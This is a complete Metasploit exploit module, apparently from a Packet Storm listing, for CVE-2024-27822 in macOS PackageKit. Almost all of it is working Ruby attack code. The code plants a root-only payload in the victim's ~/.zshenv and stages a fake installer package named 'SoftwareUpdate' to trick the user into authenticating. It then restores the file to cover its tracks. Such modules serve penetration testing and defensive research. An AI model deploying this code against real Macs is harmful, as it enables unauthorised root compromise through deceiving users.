## https://sploitus.com/exploit?id=PACKETSTORM:225196
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ManualRanking # user interaction required
include Msf::Post::File
include Msf::Post::OSX::Priv
include Msf::Post::OSX::System
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'macOS PackageKit ZSH Environment Privilege Escalation',
'Description' => %q{
This module exploits CVE-2024-27822, a vulnerability in macOS
PackageKit.framework where PKG installer scripts using a ZSH shebang
(#!/bin/zsh) are executed as root while inheriting the installing user's
environment. This causes ZSH to load the user's ~/.zshenv with root
privileges before the installer script body runs.
The module injects a payload into ~/.zshenv that only fires when EUID is 0,
uploads a minimal PKG (from data/exploits/CVE-2024-27822/template.pkg) whose
install script uses a #!/bin/zsh shebang, and opens it with Installer.app.
When the user approves the installation dialog and authenticates, PackageKit
runs the install script as root. ZSH sources ~/.zshenv before the script body
executes, so the payload fires with root privileges. The original ~/.zshenv
content is restored immediately after the payload runs.
Affected: macOS 14.4 and earlier, 13.6.6 and earlier, 12.7.4 and earlier,
and all macOS 11 and older releases.
Fixed in: macOS 14.5, 13.6.7, 12.7.5.
},
'License' => MSF_LICENSE,
'Author' => [
'Mykola Grymalyuk', # Discovery and research
'h00die' # Metasploit module
],
'Platform' => ['osx', 'unix'],
'Arch' => ARCH_CMD,
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [['macOS', {}]],
'DefaultTarget' => 0,
'Privileged' => true,
'Passive' => true,
'Stance' => Msf::Exploit::Stance::Passive,
'References' => [
['CVE', '2024-27822'],
['URL', 'https://khronokernel.com/macos/2024/06/03/CVE-2024-27822.html'],
['ATT&CK', Mitre::Attack::Technique::T1068_EXPLOITATION_FOR_PRIVILEGE_ESCALATION],
['ATT&CK', Mitre::Attack::Technique::T1546_004_UNIX_SHELL_CONFIGURATION_MODIFICATION]
],
'DefaultOptions' => {
'WfsDelay' => 1_800, # 30min
'PrependFork' => true
},
'DisclosureDate' => '2024-06-03',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)
register_options([
OptString.new('WritableDir', [true, 'Writable directory for staging files', '/tmp']),
OptString.new('PKG_NAME', [false, 'Display name for the fake installer PKG', 'SoftwareUpdate'])
])
end
def check
unless command_exists?('zsh')
return CheckCode::Safe("zsh isn't available on this system")
end
version = Rex::Version.new(get_system_version)
case version
when Rex::Version.new('14.5').. then CheckCode::Safe("macOS #{version} is patched (fixed in 14.5)")
when Rex::Version.new('14.0').. then CheckCode::Appears("macOS #{version} is vulnerable")
when Rex::Version.new('13.6.7').. then CheckCode::Safe("macOS #{version} is patched (fixed in 13.6.7)")
when Rex::Version.new('13.0').. then CheckCode::Appears("macOS #{version} is vulnerable")
when Rex::Version.new('12.7.5').. then CheckCode::Safe("macOS #{version} is patched (fixed in 12.7.5)")
when Rex::Version.new('12.0').. then CheckCode::Appears("macOS #{version} is vulnerable")
else
CheckCode::Appears("macOS #{version} (11 and older) is vulnerable")
end
end
def exploit
fail_with(Failure::BadConfig, 'Session already has root privileges') if is_root?
fail_with(Failure::BadConfig, "#{datastore['WritableDir']} is not writable") unless writable?(datastore['WritableDir'])
home_dir = create_process('printenv', args: ['HOME']).strip
fail_with(Failure::BadConfig, 'Unable to determine home directory') if home_dir.blank?
zshenv_path = "#{home_dir}/.zshenv"
# Preserve original .zshenv so we can restore it after root execution
original_zshenv = file?(zshenv_path) ? read_file(zshenv_path) : ''
original_b64 = Rex::Text.encode_base64(original_zshenv).gsub("\n", '')
# The injection block only runs when EUID==0 (PackageKit root context).
# It restores .zshenv first, then runs the payload.
injection = <<~ZSHENV
if [ "$EUID" = "0" ]; then
echo '#{original_b64}' | base64 -d > '#{zshenv_path}'
#{payload.encoded}
fi
ZSHENV
print_status("Injecting payload into #{zshenv_path}")
write_file(zshenv_path, injection + original_zshenv)
# Fallback cleanup if the PKG is never installed
register_file_for_cleanup(zshenv_path)
pkg_name = (datastore['PKG_NAME'].blank? ? Rex::Text.rand_text_alphanumeric(8..12) : datastore['PKG_NAME']).gsub(' ', '_')
pkg_path = "#{datastore['WritableDir']}/#{pkg_name}.pkg"
print_status("Uploading PKG: #{pkg_path}")
write_file(pkg_path, load_template_pkg)
fail_with(Failure::NotVulnerable, "Failed to write PKG to #{pkg_path}") unless file?(pkg_path)
register_file_for_cleanup(pkg_path)
print_good("PKG uploaded: #{pkg_path}")
print_warning('Opening Installer.app - the user must click Install and authenticate.')
create_process('open', args: [pkg_path])
# taken from multi-handler
stime = Time.now.to_f
timeout = datastore['WfsDelay'].to_i
loop do
break if session_created?
break if timeout > 0 && (stime + timeout < Time.now.to_f)
Rex::ThreadSafe.sleep(1)
end
end
private
def load_template_pkg
template_path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2024-27822', 'template.pkg')
unless File.exist?(template_path)
fail_with(Failure::BadConfig,
"Template PKG not found at #{template_path}. " \
'Run data/exploits/CVE-2024-27822/generate_template.sh on macOS to regenerate it.')
end
File.binread(template_path)
end
end